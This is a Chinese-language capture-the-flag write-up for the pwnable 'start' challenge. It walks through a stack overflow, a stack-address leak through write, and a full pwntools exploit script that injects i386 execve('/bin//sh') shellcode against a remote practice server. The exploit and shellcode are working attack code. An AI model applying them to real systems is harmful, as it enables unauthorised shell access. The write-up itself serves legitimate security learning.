pwnable_start

pwnable_start

我们先checksec一下:

1

可以看到,什么都没开的,IDA中看一看:

2

反汇编,是不可能反汇编的了,读一下吧,其实也是不难的,al,bl,dl,是eax,ebx,edx寄存器的末八位(即一字节),我们可以看看32位程序的系统调用规则和系统调用号:

3

4

可以知道,第一个调用的是write函数,第二个调用的是read函数,参数也很明显,第二个参数都是esp指向的位置,我们最后看到add esp,14h,retn 可知道,这个函数创建的区域大小就是0x14,连旧的ebp也没有,直接是返回地址,所以就不用多覆盖了(gdb调试也可以知道上述结论),所以read函数,读入的0x3c是大于0x14的,存在栈溢出漏洞:

5

栈段具有最高的权限,写入栈段就可以执行了,那么,我们得泄露栈的地址,那就只能返回到write函数了,也就是溢出返回到0x08048087,这样esp就指向0xffffd42c,write函数就会泄露出0xffffd430,在它下面的栈地址,此时read函数,就会向0xfffd42c开始,书写0x3c字节,但是函数结束,还是add esp,14h,retn,所以可以继续溢出:

6

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'


sh = remote("node5.buuoj.cn",27873)
#sh = process("./start")

sh.recvuntil("Let's start the CTF:")
sh.send(b"A"*(0x14) + p32(0x8048087))

stack = u32(sh.recv(4))
sh.recv()
print(hex(stack))

shellcode = asm(
"""
xor edx, edx
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 0xb
int 0x80
"""
)

payload = b"A"*(0x14) + p32(stack+0x14) + shellcode
sh.sendline(payload)
sh.interactive()

# /bin//sh

解释一下pyaload, p32(stack+0x14)是返回地址,因为泄露的stack,在esp寄存器的下4字节,shellcode写入的地址是 0xffffd444,esp指向0xffffd42c,stack为0xffffd430,所以加0x14。再解释一下sehllcode,xor edx, edx; push edx是为了00截断字符串,为了凑够8字节,字符串为/bin//sh。凑8字节是为了防止字符串中途00截断,因为不足4字节的地方自动补零,shellcode调用的函数是execve。